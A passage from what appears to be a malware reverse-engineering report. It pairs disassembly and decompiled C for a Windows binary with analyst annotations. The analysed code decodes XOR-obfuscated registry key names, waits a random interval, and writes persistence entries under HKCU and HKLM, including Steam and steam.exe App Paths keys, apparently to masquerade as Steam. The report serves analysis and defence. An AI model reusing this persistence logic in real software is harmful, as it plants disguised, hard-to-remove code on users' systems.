140006bbb	49 89 73 18	MOV qword ptr [R11 + local_res18],RSI
140006bbf	57	PUSH RDI
140006bc0	41 56	PUSH R14
140006bc2	41 57	PUSH R15
140006bc4	48 83 ec 60	SUB RSP,0x60
140006bc8	45 33 ff	XOR R15D,R15D
140006bcb	49 8d 43 d8	LEA RAX,[R11 + -0x28]
140006bcf	4d 89 7b c8	MOV qword ptr [R11 + local_38],R15
140006bd3	49 8b f1	MOV RSI,R9
140006bd6	49 89 43 c0	MOV qword ptr [R11 + local_40],RAX
140006bda	49 8b f8	MOV RDI,R8
140006bdd	4d 89 7b b8	MOV qword ptr [R11 + local_48],R15
140006be1	45 33 c9	XOR R9D,R9D
140006be4	c7 44 24 28 02 00 00 00	MOV dword ptr [RSP + local_50],0x2
140006bec	45 33 c0	XOR R8D,R8D
140006bef	45 89 7b a8	MOV dword ptr [R11 + local_58],R15D
140006bf3	48 8b ea	MOV RBP,RDX
140006bf6	4c 8b f1	MOV R14,RCX
140006bf9	ff 15 41 84 01 00	CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
140006bff	48 c7 c3 ff ff ff ff	MOV RBX,-0x1
140006c06	85 c0	TEST EAX,EAX
140006c08	75 48	JNZ LAB_140006c52
140006c0a	48 8b c3	MOV RAX,RBX
140006c0d	0f 1f 00	NOP dword ptr [RAX]
LAB_140006c10:
140006c10	66 44 39 7c 47 02	CMP word ptr [RDI + RAX*0x2 + 0x2],R15W
140006c16	48 8d 40 01	LEA RAX,[RAX + 0x1]
140006c1a	75 f4	JNZ LAB_140006c10
140006c1c	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_28]
140006c21	8d 04 45 02 00 00 00	LEA EAX,[0x2 + RAX*0x2]
140006c28	89 44 24 28	MOV dword ptr [RSP + local_50],EAX
140006c2c	48 8d 15 b5 2d 02 00	LEA RDX,[u_SteamExe_1400299e8]	; "SteamExe"
140006c33	41 b9 01 00 00 00	MOV R9D,0x1
140006c39	48 89 7c 24 20	MOV qword ptr [RSP + local_58],RDI
140006c3e	45 33 c0	XOR R8D,R8D
140006c41	ff 15 09 84 01 00	CALL qword ptr [PTR_RegSetValueExW_14001f050]
140006c47	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_28]
140006c4c	ff 15 d6 83 01 00	CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140006c52:
140006c52	4c 89 7c 24 40	MOV qword ptr [RSP + local_38],R15
140006c57	48 8d 44 24 50	LEA RAX,[RSP + 0x50]
140006c5c	48 89 44 24 38	MOV qword ptr [RSP + local_40],RAX
140006c61	45 33 c9	XOR R9D,R9D
140006c64	4c 89 7c 24 30	MOV qword ptr [RSP + local_48],R15
140006c69	45 33 c0	XOR R8D,R8D
140006c6c	c7 44 24 28 02 00 00 00	MOV dword ptr [RSP + local_50],0x2
140006c74	48 8b d5	MOV RDX,RBP
140006c77	49 8b ce	MOV RCX,R14
140006c7a	44 89 7c 24 20	MOV dword ptr [RSP + local_58],R15D
140006c7f	ff 15 bb 83 01 00	CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
140006c85	85 c0	TEST EAX,EAX
140006c87	75 49	JNZ LAB_140006cd2
140006c89	48 8b c3	MOV RAX,RBX
140006c8c	0f 1f 40 00	NOP dword ptr [RAX]
LAB_140006c90:
140006c90	66 44 39 7c 46 02	CMP word ptr [RSI + RAX*0x2 + 0x2],R15W
140006c96	48 8d 40 01	LEA RAX,[RAX + 0x1]
140006c9a	75 f4	JNZ LAB_140006c90
140006c9c	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_28]
140006ca1	8d 04 45 02 00 00 00	LEA EAX,[0x2 + RAX*0x2]
140006ca8	89 44 24 28	MOV dword ptr [RSP + local_50],EAX
140006cac	48 8d 15 4d 2d 02 00	LEA RDX,[u_SteamPath_140029a00]	; "SteamPath"
140006cb3	41 b9 01 00 00 00	MOV R9D,0x1
140006cb9	48 89 74 24 20	MOV qword ptr [RSP + local_58],RSI
140006cbe	45 33 c0	XOR R8D,R8D
140006cc1	ff 15 89 83 01 00	CALL qword ptr [PTR_RegSetValueExW_14001f050]
140006cc7	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_28]
140006ccc	ff 15 56 83 01 00	CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140006cd2:
140006cd2	4c 89 7c 24 40	MOV qword ptr [RSP + local_38],R15
140006cd7	48 8d 44 24 50	LEA RAX,[RSP + 0x50]
140006cdc	48 89 44 24 38	MOV qword ptr [RSP + local_40],RAX
140006ce1	45 33 c9	XOR R9D,R9D
140006ce4	4c 89 7c 24 30	MOV qword ptr [RSP + local_48],R15
140006ce9	45 33 c0	XOR R8D,R8D
140006cec	c7 44 24 28 02 00 00 00	MOV dword ptr [RSP + local_50],0x2
140006cf4	48 8b d5	MOV RDX,RBP
140006cf7	49 8b ce	MOV RCX,R14
140006cfa	44 89 7c 24 20	MOV dword ptr [RSP + local_58],R15D
140006cff	ff 15 3b 83 01 00	CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
140006d05	85 c0	TEST EAX,EAX
140006d07	75 4a	JNZ LAB_140006d53
140006d09	48 8b 8c 24 a0 00 00 00	MOV RCX,qword ptr [RSP + param_5]
LAB_140006d11:
140006d11	66 44 39 7c 59 02	CMP word ptr [RCX + RBX*0x2 + 0x2],R15W
140006d17	48 8d 5b 01	LEA RBX,[RBX + 0x1]
140006d1b	75 f4	JNZ LAB_140006d11
140006d1d	8d 04 5d 02 00 00 00	LEA EAX,[0x2 + RBX*0x2]
140006d24	41 b9 01 00 00 00	MOV R9D,0x1
140006d2a	89 44 24 28	MOV dword ptr [RSP + local_50],EAX
140006d2e	48 8d 15 9b 2c 02 00	LEA RDX,[u_InstallPath_1400299d0]	; "InstallPath"
140006d35	48 89 4c 24 20	MOV qword ptr [RSP + local_58],RCX
140006d3a	45 33 c0	XOR R8D,R8D
140006d3d	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_28]
140006d42	ff 15 08 83 01 00	CALL qword ptr [PTR_RegSetValueExW_14001f050]
140006d48	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_28]
140006d4d	ff 15 d5 82 01 00	CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140006d53:
140006d53	4c 8d 5c 24 60	LEA R11,[RSP + 0x60]
140006d58	49 8b 5b 20	MOV RBX,qword ptr [R11 + local_res8]
140006d5c	49 8b 6b 28	MOV RBP,qword ptr [R11 + local_res10]
140006d60	49 8b 73 30	MOV RSI,qword ptr [R11 + local_res18]
140006d64	49 8b e3	MOV RSP,R11
140006d67	41 5f	POP R15
140006d69	41 5e	POP R14
140006d6b	5f	POP RDI
140006d6c	c3	RET

sets up registry persistence under HKCU…

0x140006d70961 bytes

undefined FUN_140006d70(wchar_t * param_1, BYTE * param_2, BYTE * param_3)

sets up registry persistence under HKCU and HKLM with XOR-decoded key names and random sleep

Cited as: E4
Behaviours: B3, B9
Called from: FUN_140007950
Calls: RegCloseKey RegCreateKeyExW RegSetValueExW Sleep GetCurrentProcessId GetTickCount FUN_140005e80, FUN_140006950, FUN_140006bb0, __security_check_cookie, wcscpy_s, FUN_1400112c4

Decompiled C · 124 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140006d70(wchar_t *param_1,BYTE *param_2,BYTE *param_3)

{
  wchar_t *pwVar1;
  longlong lVar2;
  DWORD DVar3;
  DWORD DVar4;
  int iVar5;
  LSTATUS LVar6;
  wchar_t *pwVar7;
  longlong lVar8;
  ulonglong uVar9;
  longlong lVar10;
  undefined1 auStackY_528 [32];
  HKEY local_4d8 [2];
  uint local_4c8;
  uint uStack_4c4;
  uint uStack_4c0;
  uint uStack_4bc;
  uint local_4b8;
  uint uStack_4b4;
  uint uStack_4b0;
  uint uStack_4ac;
  ushort auStack_4a8 [4];
  undefined2 local_4a0;
  wchar_t local_468 [264];
  WCHAR local_258 [264];
  ulonglong local_48;
  
  local_48 = DAT_14002e040 ^ (ulonglong)auStackY_528;
  local_4c8 = _DAT_14002a510 ^ _DAT_14002a3f0;
  uStack_4c4 = _UNK_14002a514 ^ _UNK_14002a3f4;
  uStack_4c0 = _UNK_14002a518 ^ _UNK_14002a3f8;
  uStack_4bc = _UNK_14002a51c ^ _UNK_14002a3fc;
  local_4b8 = _DAT_14002a510 ^ _DAT_14002a400;
  uStack_4b4 = _UNK_14002a514 ^ _UNK_14002a404;
  uStack_4b0 = _UNK_14002a518 ^ _UNK_14002a408;
  uStack_4ac = _UNK_14002a51c ^ _UNK_14002a40c;
  uVar9 = 0x20;
  do {
    *(ushort *)((longlong)&local_4c8 + uVar9) = *(ushort *)(&DAT_14002a3f0 + uVar9) ^ 0x5a5a;
    uVar9 = uVar9 + 2;
  } while (uVar9 < 0x28);
  lVar10 = -1;
  local_4a0 = 0;
  FUN_1400112c4(local_258,0x104,(longlong)&local_4c8,-1);
  wcscpy_s(local_468,0x104,param_1);
  pwVar7 = local_468;
  while (local_468[0] != L'\0') {
    if (local_468[0] == L'\\') {
      *pwVar7 = L'/';
    }
    pwVar1 = pwVar7 + 1;
    pwVar7 = pwVar7 + 1;
    local_468[0] = *pwVar1;
  }
  DVar3 = GetCurrentProcessId();
  DVar4 = GetTickCount();
  Sleep(((DVar3 ^ DVar4) & 0x3ff) + 0x50);
  FUN_140006bb0((HKEY)0xffffffff80000001,local_258,(BYTE *)local_468,param_3,param_2);
  FUN_140006950((HKEY)0xffffffff80000001,(BYTE *)param_1);
  iVar5 = FUN_140005e80();
  if (iVar5 != 0) {
    DVar3 = GetCurrentProcessId();
    DVar4 = GetTickCount();
    Sleep(((DVar3 ^ DVar4) & 0x3ff) + 0x50);
    FUN_140006bb0((HKEY)0xffffffff80000002,local_258,(BYTE *)local_468,param_3,param_2);
    FUN_140006bb0((HKEY)0xffffffff80000002,L"SOFTWARE\\WOW6432Node\\Valve\\Steam",(BYTE *)local_468,
                  param_3,param_2);
    FUN_140006950((HKEY)0xffffffff80000002,(BYTE *)param_1);
    LVar6 = RegCreateKeyExW((HKEY)0xffffffff80000002,
                            L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\steam.exe",0,
                            (LPWSTR)0x0,0,2,(LPSECURITY_ATTRIBUTES)0x0,local_4d8,(LPDWORD)0x0);
    if (LVar6 == 0) {
      lVar8 = -1;
      do {
        lVar2 = lVar8 + 1;
        lVar8 = lVar8 + 1;
      } while (param_1[lVar2] != L'\0');
      RegSetValueExW(local_4d8[0],(LPCWSTR)0x0,0,1,(BYTE *)param_1,(int)lVar8 * 2 + 2);
      RegCloseKey(local_4d8[0]);
    }
    LVar6 = RegCreateKeyExW((HKEY)0xffffffff80000002,
                            L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\steam.exe",0,
                            (LPWSTR)0x0,0,2,(LPSECURITY_ATTRIBUTES)0x0,local_4d8,(LPDWORD)0x0);
    if (LVar6 == 0) {
      lVar8 = -1;
      do {
        lVar2 = lVar8 * 2;
        lVar8 = lVar8 + 1;
      } while (*(short *)(param_2 + lVar2 + 2) != 0);
      RegSetValueExW(local_4d8[0],L"Path",0,1,param_2,(int)lVar8 * 2 + 2);
      RegCloseKey(local_4d8[0]);
    }
    LVar6 = RegCreateKeyExW((HKEY)0xffffffff80000002,
                            L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\steam.exe"
                            ,0,(LPWSTR)0x0,0,2,(LPSECURITY_ATTRIBUTES)0x0,local_4d8,(LPDWORD)0x0);
    if (LVar6 == 0) {
      lVar8 = -1;
      do {
        lVar2 = lVar8 + 1;
        lVar8 = lVar8 + 1;
      } while (param_1[lVar2] != L'\0');
      RegSetValueExW(local_4d8[0],(LPCWSTR)0x0,0,1,(BYTE *)param_1,(int)lVar8 * 2 + 2);
      RegCloseKey(local_4d8[0]);
    }
    LVar6 = RegCreateKeyExW((HKEY)0xffffffff80000002,
                            L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\steam.exe"
                            ,0,(LPWSTR)0x0,0,2,(LPSECURITY_ATTRIBUTES)0x0,local_4d8,(LPDWORD)0x0);
    if (LVar6 == 0) {
      do {
        lVar8 = lVar10 * 2;
        lVar10 = lVar10 + 1;
      } while (*(short *)(param_2 + lVar8 + 2) != 0);
      RegSetValueExW(local_4d8[0],L"Path",0,1,param_2,(int)lVar10 * 2 + 2);
      RegCloseKey(local_4d8[0]);
    }
  }
}

Assembly · 206 instructions, 15 annotated

Address	Bytes	Instruction	Comment
140006d70	40 55	PUSH RBP
140006d72	53	PUSH RBX
140006d73	56	PUSH RSI
140006d74	57	PUSH RDI
140006d75	41 54	PUSH R12
140006d77	41 56	PUSH R14
140006d79	41 57	PUSH R15
140006d7b	48 8d ac 24 10 fc ff ff	LEA RBP,[RSP + -0x3f0]
140006d83	48 81 ec f0 04 00 00	SUB RSP,0x4f0
140006d8a	48 8b 05 af 72 02 00	MOV RAX,qword ptr [DAT_14002e040]
140006d91	48 33 c4	XOR RAX,RSP
140006d94	48 89 85 e0 03 00 00	MOV qword ptr [RBP + local_48],RAX
140006d9b	66 0f 6f 0d 6d 37 02 00	MOVDQA XMM1,xmmword ptr [DAT_14002a510]
140006da3	4c 8b f2	MOV R14,RDX
140006da6	66 0f 6f c1	MOVDQA XMM0,XMM1
140006daa	48 8d 15 3f 36 02 00	LEA RDX,[DAT_14002a3f0]
140006db1	0f 57 05 38 36 02 00	XORPS XMM0,xmmword ptr [DAT_14002a3f0]
140006db8	48 8b f1	MOV RSI,RCX
140006dbb	0f 57 0d 3e 36 02 00	XORPS XMM1,xmmword ptr [DAT_14002a400]
140006dc2	4d 8b f8	MOV R15,R8
140006dc5	f3 0f 7f 44 24 60	MOVDQU xmmword ptr [RSP + local_4c8[0]],XMM0
140006dcb	b9 20 00 00 00	MOV ECX,0x20
140006dd0	f3 0f 7f 4c 24 70	MOVDQU xmmword ptr [RSP + local_4b8[0]],XMM1
140006dd6	66 66 0f 1f 84 00 00 00 …	NOP dword ptr [RAX + RAX*0x1]
LAB_140006de0:
140006de0	b8 5a 5a 00 00	MOV EAX,0x5a5a
140006de5	66 33 04 11	XOR AX,word ptr [RCX + RDX*0x1]	; "?Z;Z7Z"
140006de9	66 89 44 0c 60	MOV word ptr [RSP + RCX*0x1 + 0x60],AX
140006dee	48 83 c1 02	ADD RCX,0x2
140006df2	48 83 f9 28	CMP RCX,0x28
140006df6	72 e8	JC LAB_140006de0
140006df8	48 c7 c7 ff ff ff ff	MOV RDI,-0x1
140006dff	4c 8d 44 24 60	LEA R8,[RSP + 0x60]
140006e04	45 33 e4	XOR R12D,R12D
140006e07	48 8d 8d d0 01 00 00	LEA RCX,[RBP + 0x1d0]
140006e0e	4c 8b cf	MOV R9,RDI
140006e11	66 44 89 65 88	MOV word ptr [RBP + local_4a0],R12W
140006e16	ba 04 01 00 00	MOV EDX,0x104
140006e1b	e8 a4 a4 00 00	CALL FUN_1400112c4	; FUN_1400112c4: GetLastError, SetLastError
140006e20	4c 8b c6	MOV R8,RSI
140006e23	48 8d 4d c0	LEA RCX,[RBP + -0x40]
140006e27	ba 04 01 00 00	MOV EDX,0x104
140006e2c	e8 97 a3 00 00	CALL wcscpy_s
140006e31	0f b7 4d c0	MOVZX ECX,word ptr [RBP + local_468]
140006e35	48 8d 45 c0	LEA RAX,[RBP + -0x40]
140006e39	66 85 c9	TEST CX,CX
140006e3c	74 1a	JZ LAB_140006e58
140006e3e	66 90	NOP
LAB_140006e40:
140006e40	66 83 f9 5c	CMP CX,0x5c
140006e44	75 05	JNZ LAB_140006e4b
140006e46	66 c7 00 2f 00	MOV word ptr [RAX],0x2f
LAB_140006e4b:
140006e4b	0f b7 48 02	MOVZX ECX,word ptr [RAX + local_466]
140006e4f	48 83 c0 02	ADD RAX,0x2
140006e53	66 85 c9	TEST CX,CX
140006e56	75 e8	JNZ LAB_140006e40
LAB_140006e58:
140006e58	ff 15 2a 84 01 00	CALL qword ptr [PTR_GetCurrentProcessId_14001f288]
140006e5e	8b d8	MOV EBX,EAX
140006e60	ff 15 32 84 01 00	CALL qword ptr [PTR_GetTickCount_14001f298]
140006e66	33 d8	XOR EBX,EAX
140006e68	81 e3 ff 03 00 00	AND EBX,0x3ff
140006e6e	8d 4b 50	LEA ECX,[RBX + 0x50]
140006e71	ff 15 c1 83 01 00	CALL qword ptr [PTR_Sleep_14001f238]
140006e77	4d 8b cf	MOV R9,R15
140006e7a	4c 89 74 24 20	MOV qword ptr [RSP + local_508],R14
140006e7f	4c 8d 45 c0	LEA R8,[RBP + -0x40]
140006e83	48 c7 c1 01 00 00 80	MOV RCX,-0x7fffffff
140006e8a	48 8d 95 d0 01 00 00	LEA RDX,[RBP + 0x1d0]
140006e91	e8 1a fd ff ff	CALL FUN_140006bb0	; FUN_140006bb0: RegCreateKeyExW, RegSetValueExW, RegCloseKey
140006e96	48 8b d6	MOV RDX,RSI
140006e99	48 c7 c1 01 00 00 80	MOV RCX,-0x7fffffff
140006ea0	e8 ab fa ff ff	CALL FUN_140006950	; FUN_140006950: RegCreateKeyExW, RegSetValueExW, RegCloseKey
140006ea5	e8 d6 ef ff ff	CALL FUN_140005e80	; FUN_140005e80: GetCurrentProcess, OpenProcessToken, GetTokenInformation, CloseHandle
140006eaa	85 c0	TEST EAX,EAX
140006eac	0f 84 70 02 00 00	JZ LAB_140007122
140006eb2	ff 15 d0 83 01 00	CALL qword ptr [PTR_GetCurrentProcessId_14001f288]
140006eb8	8b d8	MOV EBX,EAX
140006eba	ff 15 d8 83 01 00	CALL qword ptr [PTR_GetTickCount_14001f298]
140006ec0	33 d8	XOR EBX,EAX
140006ec2	81 e3 ff 03 00 00	AND EBX,0x3ff
140006ec8	8d 4b 50	LEA ECX,[RBX + 0x50]
140006ecb	ff 15 67 83 01 00	CALL qword ptr [PTR_Sleep_14001f238]
140006ed1	4d 8b cf	MOV R9,R15
140006ed4	4c 89 74 24 20	MOV qword ptr [RSP + local_508],R14
140006ed9	4c 8d 45 c0	LEA R8,[RBP + -0x40]
140006edd	48 c7 c1 02 00 00 80	MOV RCX,-0x7ffffffe
140006ee4	48 8d 95 d0 01 00 00	LEA RDX,[RBP + 0x1d0]
140006eeb	e8 c0 fc ff ff	CALL FUN_140006bb0	; FUN_140006bb0: RegCreateKeyExW, RegSetValueExW, RegCloseKey
140006ef0	4d 8b cf	MOV R9,R15
140006ef3	4c 89 74 24 20	MOV qword ptr [RSP + local_508],R14
140006ef8	4c 8d 45 c0	LEA R8,[RBP + -0x40]
140006efc	48 c7 c1 02 00 00 80	MOV RCX,-0x7ffffffe
140006f03	48 8d 15 c6 2b 02 00	LEA RDX,[u_SOFTWARE\WOW6432Node\Valve\Steam_140029ad0]	; "SOFTWARE\\WOW6432Node\\Valve\\Steam"
140006f0a	e8 a1 fc ff ff	CALL FUN_140006bb0	; FUN_140006bb0: RegCreateKeyExW, RegSetValueExW, RegCloseKey
140006f0f	48 8b d6	MOV RDX,RSI
140006f12	48 c7 c1 02 00 00 80	MOV RCX,-0x7ffffffe
140006f19	e8 32 fa ff ff	CALL FUN_140006950	; FUN_140006950: RegCreateKeyExW, RegSetValueExW, RegCloseKey
140006f1e	4c 89 64 24 40	MOV qword ptr [RSP + local_4e8],R12
140006f23	48 8d 44 24 50	LEA RAX,[RSP + 0x50]
140006f28	48 89 44 24 38	MOV qword ptr [RSP + local_4f0],RAX
140006f2d	48 8d 15 1c 2f 02 00	LEA RDX,[u_SOFTWARE\Microsoft\Windows\Curre_140029e50]	; "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\steam.exe"
140006f34	4c 89 64 24 30	MOV qword ptr [RSP + local_4f8],R12
140006f39	45 33 c9	XOR R9D,R9D
140006f3c	c7 44 24 28 02 00 00 00	MOV dword ptr [RSP + local_500],0x2
140006f44	45 33 c0	XOR R8D,R8D
140006f47	48 c7 c1 02 00 00 80	MOV RCX,-0x7ffffffe
140006f4e	44 89 64 24 20	MOV dword ptr [RSP + local_508],R12D
140006f53	ff 15 e7 80 01 00	CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
140006f59	85 c0	TEST EAX,EAX
140006f5b	75 40	JNZ LAB_140006f9d
140006f5d	48 8b c7	MOV RAX,RDI
LAB_140006f60:
140006f60	66 44 39 64 46 02	CMP word ptr [RSI + RAX*0x2 + 0x2],R12W
140006f66	48 8d 40 01	LEA RAX,[RAX + 0x1]
140006f6a	75 f4	JNZ LAB_140006f60
140006f6c	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_4d8]
140006f71	8d 04 45 02 00 00 00	LEA EAX,[0x2 + RAX*0x2]
140006f78	89 44 24 28	MOV dword ptr [RSP + local_500],EAX
140006f7c	41 b9 01 00 00 00	MOV R9D,0x1
140006f82	45 33 c0	XOR R8D,R8D
140006f85	48 89 74 24 20	MOV qword ptr [RSP + local_508],RSI
140006f8a	33 d2	XOR EDX,EDX
140006f8c	ff 15 be 80 01 00	CALL qword ptr [PTR_RegSetValueExW_14001f050]
140006f92	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_4d8]
140006f97	ff 15 8b 80 01 00	CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140006f9d:
140006f9d	4c 89 64 24 40	MOV qword ptr [RSP + local_4e8],R12
140006fa2	48 8d 44 24 50	LEA RAX,[RSP + 0x50]
140006fa7	48 89 44 24 38	MOV qword ptr [RSP + local_4f0],RAX
140006fac	48 8d 15 9d 2e 02 00	LEA RDX,[u_SOFTWARE\Microsoft\Windows\Curre_140029e50]	; "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\steam.exe"
140006fb3	4c 89 64 24 30	MOV qword ptr [RSP + local_4f8],R12
140006fb8	45 33 c9	XOR R9D,R9D
140006fbb	c7 44 24 28 02 00 00 00	MOV dword ptr [RSP + local_500],0x2
140006fc3	45 33 c0	XOR R8D,R8D
140006fc6	48 c7 c1 02 00 00 80	MOV RCX,-0x7ffffffe
140006fcd	44 89 64 24 20	MOV dword ptr [RSP + local_508],R12D
140006fd2	ff 15 68 80 01 00	CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
140006fd8	85 c0	TEST EAX,EAX
140006fda	75 46	JNZ LAB_140007022
140006fdc	48 8b c7	MOV RAX,RDI
140006fdf	90	NOP
LAB_140006fe0:
140006fe0	66 45 39 64 46 02	CMP word ptr [R14 + RAX*0x2 + 0x2],R12W
140006fe6	48 8d 40 01	LEA RAX,[RAX + 0x1]
140006fea	75 f4	JNZ LAB_140006fe0
140006fec	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_4d8]
140006ff1	8d 04 45 02 00 00 00	LEA EAX,[0x2 + RAX*0x2]
140006ff8	89 44 24 28	MOV dword ptr [RSP + local_500],EAX
140006ffc	48 8d 15 cd 2e 02 00	LEA RDX,[u_Path_140029ed0]	; "Path"
140007003	41 b9 01 00 00 00	MOV R9D,0x1
140007009	4c 89 74 24 20	MOV qword ptr [RSP + local_508],R14
14000700e	45 33 c0	XOR R8D,R8D
140007011	ff 15 39 80 01 00	CALL qword ptr [PTR_RegSetValueExW_14001f050]
140007017	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_4d8]
14000701c	ff 15 06 80 01 00	CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140007022:
140007022	4c 89 64 24 40	MOV qword ptr [RSP + local_4e8],R12
140007027	48 8d 44 24 50	LEA RAX,[RSP + 0x50]
14000702c	48 89 44 24 38	MOV qword ptr [RSP + local_4f0],RAX
140007031	48 8d 15 a8 2e 02 00	LEA RDX,[u_SOFTWARE\WOW6432Node\Microsoft\W_140029ee0]	; "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\steam.exe"
140007038	4c 89 64 24 30	MOV qword ptr [RSP + local_4f8],R12
14000703d	45 33 c9	XOR R9D,R9D
140007040	c7 44 24 28 02 00 00 00	MOV dword ptr [RSP + local_500],0x2
140007048	45 33 c0	XOR R8D,R8D
14000704b	48 c7 c1 02 00 00 80	MOV RCX,-0x7ffffffe
140007052	44 89 64 24 20	MOV dword ptr [RSP + local_508],R12D
140007057	ff 15 e3 7f 01 00	CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
14000705d	85 c0	TEST EAX,EAX
14000705f	75 40	JNZ LAB_1400070a1
140007061	48 8b c7	MOV RAX,RDI
LAB_140007064:
140007064	66 44 39 64 46 02	CMP word ptr [RSI + RAX*0x2 + 0x2],R12W
14000706a	48 8d 40 01	LEA RAX,[RAX + 0x1]
14000706e	75 f4	JNZ LAB_140007064
140007070	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_4d8]
140007075	8d 04 45 02 00 00 00	LEA EAX,[0x2 + RAX*0x2]
14000707c	89 44 24 28	MOV dword ptr [RSP + local_500],EAX
140007080	41 b9 01 00 00 00	MOV R9D,0x1
140007086	45 33 c0	XOR R8D,R8D
140007089	48 89 74 24 20	MOV qword ptr [RSP + local_508],RSI
14000708e	33 d2	XOR EDX,EDX
140007090	ff 15 ba 7f 01 00	CALL qword ptr [PTR_RegSetValueExW_14001f050]
140007096	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_4d8]
14000709b	ff 15 87 7f 01 00	CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_1400070a1:
1400070a1	4c 89 64 24 40	MOV qword ptr [RSP + local_4e8],R12
1400070a6	48 8d 44 24 50	LEA RAX,[RSP + 0x50]
1400070ab	48 89 44 24 38	MOV qword ptr [RSP + local_4f0],RAX
1400070b0	48 8d 15 29 2e 02 00	LEA RDX,[u_SOFTWARE\WOW6432Node\Microsoft\W_140029ee0]	; "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\steam.exe"
1400070b7	4c 89 64 24 30	MOV qword ptr [RSP + local_4f8],R12
1400070bc	45 33 c9	XOR R9D,R9D
1400070bf	c7 44 24 28 02 00 00 00	MOV dword ptr [RSP + local_500],0x2
1400070c7	45 33 c0	XOR R8D,R8D
1400070ca	48 c7 c1 02 00 00 80	MOV RCX,-0x7ffffffe
1400070d1	44 89 64 24 20	MOV dword ptr [RSP + local_508],R12D
1400070d6	ff 15 64 7f 01 00	CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
1400070dc	85 c0	TEST EAX,EAX
1400070de	75 42	JNZ LAB_140007122
LAB_1400070e0:
1400070e0	66 45 39 64 7e 02	CMP word ptr [R14 + RDI*0x2 + 0x2],R12W
1400070e6	48 8d 7f 01	LEA RDI,[RDI + 0x1]
1400070ea	75 f4	JNZ LAB_1400070e0
1400070ec	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_4d8]
1400070f1	8d 04 7d 02 00 00 00	LEA EAX,[0x2 + RDI*0x2]
1400070f8	89 44 24 28	MOV dword ptr [RSP + local_500],EAX
1400070fc	48 8d 15 cd 2d 02 00	LEA RDX,[u_Path_140029ed0]	; "Path"
140007103	41 b9 01 00 00 00	MOV R9D,0x1
140007109	4c 89 74 24 20	MOV qword ptr [RSP + local_508],R14
14000710e	45 33 c0	XOR R8D,R8D
140007111	ff 15 39 7f 01 00	CALL qword ptr [PTR_RegSetValueExW_14001f050]
140007117	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_4d8]
14000711c	ff 15 06 7f 01 00	CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140007122:
140007122	48 8b 8d e0 03 00 00	MOV RCX,qword ptr [RBP + local_48]
140007129	48 33 cc	XOR RCX,RSP
14000712c	e8 ff 17 00 00	CALL __security_check_cookie

extension normalizer

0x140007150271 bytes

undefined FUN_140007150(WCHAR * param_1)

extension normalizer: ensures path ends with expected suffix, appending it if missing

Cited as: E20
Behaviours: B12
Called from: FUN_140007270
Calls: __security_check_cookie, FUN_140008a58, FUN_140009ae0, FUN_140011004, FID_conflict:_wcsicoll

Decompiled C · 44 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140007150(WCHAR *param_1)

{
  code *pcVar1;
  undefined2 uVar2;
  int iVar3;
  longlong lVar4;
  ulonglong uVar5;
  undefined1 auStack_248 [20];
  wchar_t local_234 [6];
  short local_228 [264];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStack_248;
  if ((param_1 != (WCHAR *)0x0) && (*param_1 != L'\0')) {
    lVar4 = (longlong)local_228 - (longlong)param_1;
    uVar5 = 0;
    do {
      if (0x102 < uVar5) break;
      uVar2 = FUN_140011004(*param_1);
      *(undefined2 *)(lVar4 + (longlong)param_1) = uVar2;
      uVar5 = uVar5 + 1;
      param_1 = param_1 + 1;
    } while (*param_1 != L'\0');
    if (0x207 < uVar5 * 2) {
      FUN_140008a58();
      pcVar1 = (code *)swi(3);
      (*pcVar1)();
      return;
    }
    local_228[uVar5] = 0;
    uVar5 = 0xffffffffffffffff;
    do {
      uVar5 = uVar5 + 1;
    } while (local_228[uVar5] != 0);
    if ((uVar5 < 6) || (iVar3 = FID_conflict__wcsicoll(local_234 + uVar5,L"steam\\"), iVar3 != 0)) {
      FUN_140009ae0((undefined1 (*) [16])local_228,(undefined1 (*) [16])L"\\steam\\");
    }
  }
}

Assembly · 63 instructions, 3 annotated

Address	Bytes	Instruction	Comment
140007150	4c 8b dc	MOV R11,RSP
140007153	53	PUSH RBX
140007154	48 81 ec 40 02 00 00	SUB RSP,0x240
14000715b	48 8b 05 de 6e 02 00	MOV RAX,qword ptr [DAT_14002e040]
140007162	48 33 c4	XOR RAX,RSP
